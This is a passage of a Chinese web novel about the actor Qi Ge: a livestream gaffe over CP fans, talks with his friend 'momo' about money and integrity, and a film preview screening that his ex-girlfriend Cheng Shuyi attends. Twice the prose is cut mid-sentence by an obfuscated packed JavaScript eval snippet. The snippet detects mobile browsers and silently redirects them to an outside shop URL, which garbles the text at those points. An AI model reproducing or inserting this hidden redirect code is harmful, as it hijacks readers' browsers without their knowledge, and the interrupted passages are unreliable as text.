到了这个程度,工作室再想息事宁人便没那么容易。 “要不就道个歉吧?”阿远去跟高姐请示,“公关那边怎么说?” “公关觉得不好正面回应,风险太大。”高姐说,“可以写几句含糊的回应,上直播的时候带一下。” “带一下?啥意思?”祁歌懵懵,“让我随口提一句?” “差不多吧,”阿远说,“你就感谢一下粉丝的支持,承诺会继续给粉丝更多福利,说以后会更严格审核赠票机制,然后再抽点签名照什么的……” “这还叫随口提一句?”祁歌啧舌道,“不就是表明要和CP粉划清界限吗?” 阿远瞪着他:“你有意见?你和陈逸心是真的?” ??? 祁歌当场炸毛。 不管怎么说,最后一场演出也终于是结束了。 这场是午场,结束时天还亮着。祁歌出来SD的时间不长,跟大家随便聊了两句便告了别,说晚点直播见。 今晚的直播是个之前预约的品牌直播,主要目的是要卖货。 祁歌现在热度上来之后也稍微有了点代言,价格不高,还要看带货量拿钱。 直播是晚上开始,祁歌下午下了戏就过来了,想着找主持人对一下词。 主持人顿时如临大敌,忙问之前的采访提纲有什么问题,是不是需要调整。 “怎么会呢老师,提纲我经纪人看过肯定没问题的,”祁歌笑着说,“是我最近工作有点忙没能好好过提纲,就想着早来一会儿拜托哥帮我补个课。” “哦那没问题,你看看有啥不合适的咱们直接沟通。”主持人拿了采访稿给他。 事实证明,提前沟通过之后,直播果然非常顺利。 新年将至,直播间里一片万象更新的氛围。卖货之余,主持人跟祁歌聊了聊最近的话剧和观众的反馈。 祁歌赶快把之前说好的要感谢粉丝的词儿塞了进去。 “每次演完我去SD都挺感动的,”他诚恳地说,“看到大家愿意花时间和精力来和我一起感受这个故事,还把共鸣传递给我,会觉得一切都是值得的。” 由于直播需要实时反馈观众的评论弹幕,他们面前有一块很大的屏幕,用来给他们读弹幕。 祁歌这句话的话音还没落,面前的弹幕里已经出现了一行颇为激烈的骂句。 他愣了一下,第一反应是抬头去看自己助理那边,想知道这样的评论为什么没被审核屏蔽掉。 再仔细一看这句里面的很多字是用的谐音字,大概是由此逃过了审核。 这条评论一闪即没,被许多其他支持的、友爱的字句淹没,想必这人也很快被拉黑了。 但他心里还是有点不自在。 ……不是因为被骂。 公众人物被骂几句很正常,他也早就习惯了。只是……这句骂他的内容大意是他媚完女老板又媚CP粉,想红不择手段之类的,不知道怎么的就让他格外不舒服。 他深吸了口气,先回答了主持人提的新问题:“对,下一部戏快要开机了,不过暂时还不能透露太多。” 与此同时,弹幕里看到了那条评论的粉丝开始纷纷讨伐或是回骂,再加上这又涉及到了唯粉纷纷喊打,但公司并不想得罪的CP粉,一时场面颇有几分混乱。 “好了,”祁歌忍不住笑了出来,“怎么吵上了,你们是我的粉丝吗?不会是陈逸心那边派来的吧?” 他此话一出,整个场子都静了几秒。 小助理的脸色一下子就不太好了。 “非常感谢大家今天的到来,不管您是什么身份,都是平等的观众,”祁歌若无所觉地继续说下去,“我希望我们是带着最初的共鸣相聚在一起,互相之间永远是团结的、快乐的。如果这个圈子或者这些人和事无法给你好的感受,你也可以休息一下,多多关注自身的体验。我会一直向着目标努力,有谢谢你们一直相信我,但愿有天对得起你们的支持。” 他慢悠悠说完这些,小助理那边也差不多处理好了堆积拦截的弹幕,示意他们继续介绍产品。 “是的,”主持人接话说,“大家一定要支持祁老师,也支持我们品牌的产品哦。” “没错,感谢品牌爸爸,”祁歌说,“不过大家也要量力而行哈……” 顿时金主爸爸那边的人脸色也不太好了。 “但是,”祁歌又一次自顾自继续说了下去,“如果你们确实有需要,这个产品的特色和优点都很突出……在这个方面真的没代餐朋友们,可以试试看。” 他早就熟悉过产品特点,当即流利地介绍了一番,令主持人都比起大拇指。 金主爸爸的人终于脸色稍霁。 直播快到尾声,祁歌又Q了一次这部话剧,说以后还有机会出演的话,还请大家继续支持。 “小陈我们合作过很多次,是我很熟悉的后辈演员,”他最后说,“这轮跟他搭的场次比较多,大家要是看腻了,下轮我争取多换换搭档,一定要来看啊!” 由于祁歌本次过于直言不讳,回去后立刻遭到高姐炮轰。 “管不了你了是吧?” “给公司添麻烦了,”祁歌态度很好,但死性不改,“我感觉我说的没啥问题啊?” “装,”高姐白他,“现在跟我装。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877294|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁歌这才笑出声来:“说真的,我就那点粉丝,最近还跑了一大批,咱就随缘呗……” 高姐冷笑:“我看你剃发出家算了。” “那不行,”祁歌一本正经地说,“我断不了凡心。” 他直接被高姐扫地出门。 对此momo老师则非常鼓励,祁歌觉得她甚至有种撺掇小孩去做坏事的感觉。 “感觉在你心里没什么事情是做不到的。”祁歌这样感叹道。 “世界上没什么事情是做不到的,”momo老师复读道,“除了……” “什么?” 这一瞬间祁歌的脑子里闪过诸如“命运”或是“人心”之类的词汇。 “除了违背科学规律的事。”momo说。 这……还真是momo的风格。 而且这种熟悉的感觉也令祁歌再次想起程书仪。 “怎么,被我冷到了?”momo追问道。 祁歌收回思绪,专心跟她对话:“不是,我觉得你说的有道理,可惜我对科学知之甚少,大概很多时候都在不断地……寻找目标然后撞南墙吧。” “有多少墙给你撞啊?”momo有点讶异,“你就没有什么确定的目标吗?或者说,你想要什么样的生活?” 确定的……目标吗? 祁歌想了想才答道:“我其实想过那种……相对随性的生活。遇到喜欢的项目,就全身心地投入其中;剩下的时间自己支配,尽量去感受生活本身这样吧。” “那支撑你这个生活理想的年收入应该是多少?”momo一如既往地直戳痛处。 “这个……”祁歌如实交代,“还没想好。” “你看,你毕业以后要有住房吧,要吃穿用吧,”momo给他掰手指,“还有娱乐社交也要花钱吧……” 祁歌有点想让她别说了。 也不知道为什么,一旦谈论起这些,他就觉得浑身都难受,仿佛被什么无形的手攫获,再被一点点勒紧。 他一直以为自己是个很积极的人,没想到只是关于职业的未来的想象,就让他有了心理阴影。 一般这种程度的不适,祁歌会想个办法绕开,或者直接中断这个交谈。 但…… “我不太敢聊这个。”他如实说。 “为什么?”momo理所当然地追问了下去。 俗话说,说破无毒。 祁歌好像从没如此跟人袒露过对自己能力以及未来的不确信。 “有时候搞不清这个行业所谓的商业价值是什么,我不想做那些违背我意愿和良知的事情,”他对着这个素未谋面的人将自己的烦恼讲述出来,“但现在这个时代,只低头做事是远远不够的。” “那你觉得什么样的行为就违背良知了?” 祁歌斟酌了一下措辞:“就是比如……那些明星什么的割韭菜?让粉丝买十几桶洗手液?” 他之前接过一次这种推广,由于产品单价低,对方给的策划是直接卖家庭套装,多宰一个是一个。 祁歌纠结再三,后来还是给推掉了。 “也有人真的需要十几桶洗手液啊。”momo说。 “……谁?” “我新房子就有三个卫生间,还不算洗衣房,买个十几瓶屯着不是很正常。” “……?”祁歌呆滞了半天,“你……你是什么公主吗?” “在下不才,”momo说,“经济自由而已。” 祁歌望着“经济自由”四个大字陷入沉思。 莫非…… 莫非只有拥有这样和程书仪相似的人生观,才能经济自由吗?! 如果自己的粉丝都是这种实力,那割就割了! 78. 她真美 总而言之,由于祁歌的直言不讳,最后结果是唯粉基本满意,CP粉则更开心了,简直可以说是陷入狂欢。 祁歌不懂这是什么逻辑,但……好吧。 这次他要拍的新戏的第一片场最终定在了某北国寒冷之地,祁歌被阿远耳提面命,打包了一大包厚衣服准备出发。 按照合同,他会提前一个月左右去剧组进行围读和训练,为拍摄做好准备。 这个本子是偏主旋律的题材,但就像许多此类题材的影视作品一样,这部剧的主要篇幅可能都会是言情。 拍这种戏,一方面要保证自己塑造的人物正面而积极,另一方面又要把感情戏演好,来吸引观众的观看。 入行这么多年,这样的本子祁歌也接到过几个,每次都花了不少工夫去做人物,可最后播出效果大都不尽如人意。 他长叹一声,点灯熬油继续读剧本。 将就拍吧,祁歌自我宽慰地想,现在还没有更多的选择,只能尽人事听天命了。 大概由于话剧演完后的观众评价还可以,骂的人并不太多,祁歌最近的心情达到了一种佛系的平静。 趁进组前专心休养,身体没掉链子,每天晚上竟然也偶尔能睡得不错。 “哥啊,”这天阿远久违地大早起给他打电话,“有个紧急新通告,我把你机票改签了。” “啊?”祁歌还没睡醒,迷迷糊糊地回应,“什么通告这么重要?” “你猜?” 让他猜,那必定是好消息了。 “嗯……我获得了奥斯卡提名,现在要先去好莱坞一趟。”祁歌说。 阿远难得地沉默了一会儿,随即音量猝然放大:“你在做梦吗?!” “如果你不喊醒我,我现在就是在做梦啊,”祁歌笑着打了个呵欠,“行了快说吧,什么好事儿这么开心?” 阿远果然不太擅长卖关子,被三言两语逗一下立刻就讲了:“你那部电影终于要排期上映了!这周会举行先行点映,你要参加。” “啊,这倒真是好消息,”祁歌终于舍得从床上坐起来,“能点映就算是有观众了,离顺利上映更进一步了。” “哈哈,你的目标就只有上映吗?” “当然了!”习惯了被各种临期取消折磨的祁歌心有余悸地说,“这个点映场是发媒体票还是……” “在市里那个最大的厅,有邀请函也有公开售票,”阿远说,“这次高姐说要给你借好点的衣服,还有公司也会配合宣发,你今天就过来了解一下流程和发言稿吧。” “哇,”祁歌感叹道,“这次公司真的非常重视啊。” 事实上,假如不是祁歌在直播上乱说,可能这次公司也没兴趣动用公关人员专门审他的稿。 老板对这个一向很乖的小演员忽然露了些棱角的行为竟然非常理解,说年轻人嘛,有点野心才能好好发展。 ——只不过该管的还是要管,不然你们经纪人干脆不要做了。 听了阿远的转述,祁歌也难免有点后怕。 他自己爽一下归自己,要是连累了阿远或者高姐,不就罪过大了。 “总之下次你的一举一动一言一行都要在我们的控制下进行,要听话,知道了吗?”阿远有些开玩笑地威胁道。 “我知道了,”祁歌对她笑,“在变得更强之前,我会收敛的。” “这还差不多……等一下,”阿远警惕地看他,“意思是你要是红了就会继续不听话?” “我要是红了,”祁歌笑出了声,“就没人敢动你了。” 阿远不做指望地摇摇头:“看你那小人得志的样子。” 这次活动虽然是点映,却也是这部电影第一次出现在公众面前,导演很是重视。 这部影片的后期工作祁歌也参与了不少,虽然影片中戏份不多,却是真的十分期待观众的反馈。 公司兴师动众说要给他借高定,结果导演发话说不想大家被这些干扰,也不打算办红毯什么的,大家穿便服就好。 还每人给准备了一件电影海报文化衫。 “那……妆造还是要做的!”阿远挣扎道,“要全方位展示哥你的美貌!” “也没必要吧……”祁歌念叨着,“说是映后谈就在放映厅举行,到时候一个死亡顶光下来,啥妆也白搭。” 他说得有鼻子有眼的,如同亲自经历过似的。 对此祁歌的解释是:“没经历过还没梦过吗?” 这话是实话。不管是作为座椅上的观众,还是隔着屏幕的看客,他都曾无数次梦想过自己站上那些舞台的一刻。 但这句实话把阿远都说愣了:“那、那哥你说怎么弄吧……” “我觉得就简单打个底,头发也弄清爽点就行,”祁歌潇洒地试图挥斥方遒,“到时候我就穿个牛仔裤运动鞋……” 他是信口胡说半开玩笑的,没想到阿远竟然真捞了个小本子煞有介事地记了下来。 祁歌有些意外地眨眨眼。 “你说的这些我都会反馈上去,对了,”阿远合上本子,“我查了主办邀请列表,程姐也在被邀行列哦。” “她应该不会去吧……”祁歌不假思索地说。 “嗯?”阿远打量着他,“你跟她联系啦?” “不是,”祁歌摇摇头,“我猜的,因为之前试映她已经看过了,程书仪……不喜欢浪费时间。” “不得不承认,”阿远叹了口气摇摇头,“你确实还是很了解她的,我打听过了,她说有事不去。” 一时间祁歌也不知道自己心里是遗憾更多点,还是松一口气更多点。 “哦对了,有多的票给我几张,”他对阿远说,“我爸妈可能会想来看。” 这部电影的上映也算一波三折,批文虽然下得早,但上映前又是挪档又是提档,宣发受限。现在忽然开点映,一时间获得了不小的关注与质疑,怀疑这都是营销手段的一部分。 程书仪原本对再看一次这部片子确实没什么兴趣。 毕竟之前的初版她已经大致看过了,想必也不会有太大变动。 现在她的关注点会更多地放在电影的口碑风评,和之后的票房情况。 在这个领域,她不了解的事情还有很多。比如说那可称天价的后期费用,神秘的审核,还有漫长而不确定的上映等待期。 这个行业看上去是以艺术为主导,其实却以经济效益为最终目的的。那么不可避免地,最终的艺术导向也会做出适应性的调整。聪明的导演可以平衡这两方面,以无私追求或是家国情怀的底色获取最大程度的利益。 程书仪看得出,导演是个聪明人。但这方面的投资必定不能是长线与持续的,只能根据每一次项目的情况进行抉择,且不确定的风险过大,还是要非常谨慎才行。 “程总来的话,可以听听现场观众和影评人的评论,说不定会更有信心哦。”制片方这样跟程书仪说。 这种活动现场来的不是粉丝就是水军,能说出点中肯的评价才怪,程书仪想。不过从对方的话里看得出,他们也知道这次合作尚且看不出成效,想争取她的下一步投资必定难上加难。 她正准备回绝,手机里忽然跳出防抖兄的消息。 说打算去看这部电影的点映,据说能看到明星们和大佬们。 “你抢到票了?”程书仪觉得好笑,“你现在敢对天发誓你不是祁歌的粉吗?” 对方一点犹豫都没有地立刻起誓:“我绝对不是祁歌老师的粉丝否则天打五雷轰。” 这睁眼说瞎话的速度简直令人震撼。 “我不明白,承认自己是粉有这么难吗?”程书仪质疑道,“不丢人吧?” “我真不是,”防抖兄大呼冤枉,“但你可以说我是他的事业粉吧……” “那你和我差不多,”程书仪说,“不过这方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881891|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面我可是头号的。” “头号事业粉吗?”这次轮到防抖兄提出质疑,“我可没看出来。我只看到你每天打击讽刺挖苦了。” “哪有!”程书仪并不认同,“我只是用正常人而非你们粉丝的造神视角看待他和他的作品而已。” “是吗?”防抖兄半信半疑,“但不管怎么说,你好像对他格外关注啊……” 对前男友格外关注一点也不是什么奇怪的事吧……程书仪腹诽道。 可惜这话毕竟不太方便说出来,她想了想,干脆转移了话题:“那个点映我也有票,不过还没想好去不去。” “哇,你怎么什么票都有!”防抖兄对她的手眼通天十分钦佩,“这个电影听说还不错的,值得看看。如果你来的话……我们不就同场了吗!” 话都说到这个份上,程书仪便说再考虑一下,如果到时候有空就去看。 荧幕亮起,拍摄电影过程中的花絮和资料历历在目。 这次的点映场作为一个不正式的预首映,给影迷们准备了不少礼物周边。观众们领过周边便可以入场,观看预告和拍摄花絮,等待正式开场。 祁歌和其他主要演员会同导演一起,在电影放映结束后跟观众们见面。 “祁老师有没有什么提问上……不方便的?”主持人再次跟他们确认流程。 祁歌连忙摆手:“我没有,不需要。” 他一个小配角,哪敢不方便。 “我听说今天你的粉丝也来了不少呢。”同组的演员这样跟祁歌打趣。 “那不是给了咱们几张赠票,”祁歌笑着说,“我求他们来撑场子的,包括我爸妈。” 这次的赠票是阿远全权负责发放的,应该不会再有问题。 为了这个活动,他们下午就开始妆造,点映还没开始就紧锣密鼓地准备起来。倒是电影的男女主演都比较忙,说是会赶在散场前过来。 祁歌公司的造型师真的采纳了他的个人意见,给他搭了一套牛仔裤和球鞋,发型也比较简单,抓个篮球就可以去大学篮球场的程度,低调又清新,祁歌还挺喜欢的。 “今天只有一场活动,还算轻松,”有个和祁歌一样演配角的演员说,“有时候一天连着好几个点映,那是纯粹赶场子,特别累。” “是嘛……我们这部电影后续还会安排其他点映吗?”祁歌有点忐忑地问。 他很快就要进组,怕是宣发时间有限。 “肯定还会排,就是要看具体情况订影厅吧,”这位演员打起休息室的门帘向影厅入口那边看去,“好像快开始了,你看观众进场完毕了。” 祁歌闻言也向外看了一眼,只见外面发放纪念品的工作人员已经在收拾桌子。 他的手机响了一声。 这次活动公司给他配了助理,阿远很快也会赶到,他的手机即将在正式见面会前被收走。 祁歌趁此机会赶紧看看消息。 映入眼帘的先是主持人发来的大概流程,让大家提前熟悉,这个他刚才已经看过了。 然后是阿远的叮咛嘱咐若干,看不看区别不大,祁歌还是耐着心看了一遍。 祁歌的爸妈十分钟前发了消息告知他已经坐下了,又问晚上想吃什么,给他做。 这句话让祁歌的眼圈稍稍酸了那么一下。怕坏了妆面,他硬是给憋回去了。 读完这些,消息框又跳出最新的一条,是来自momo老师。 她似乎是来了现场,发了一张自己视角的大屏幕给祁歌看。 看到这张照片,祁歌不由一愣。 他们才刚刚熟悉过场地。这张照片的视角,一定是从第一排的侧边拍摄的。 他犹豫了一下,还是小步溜出去,从尚未关严的影厅侧门向内窥视了一眼。 影厅内的灯还没关,程书仪正坐在一排边上,将手机收进随身带着的小包里。 她今天可真美。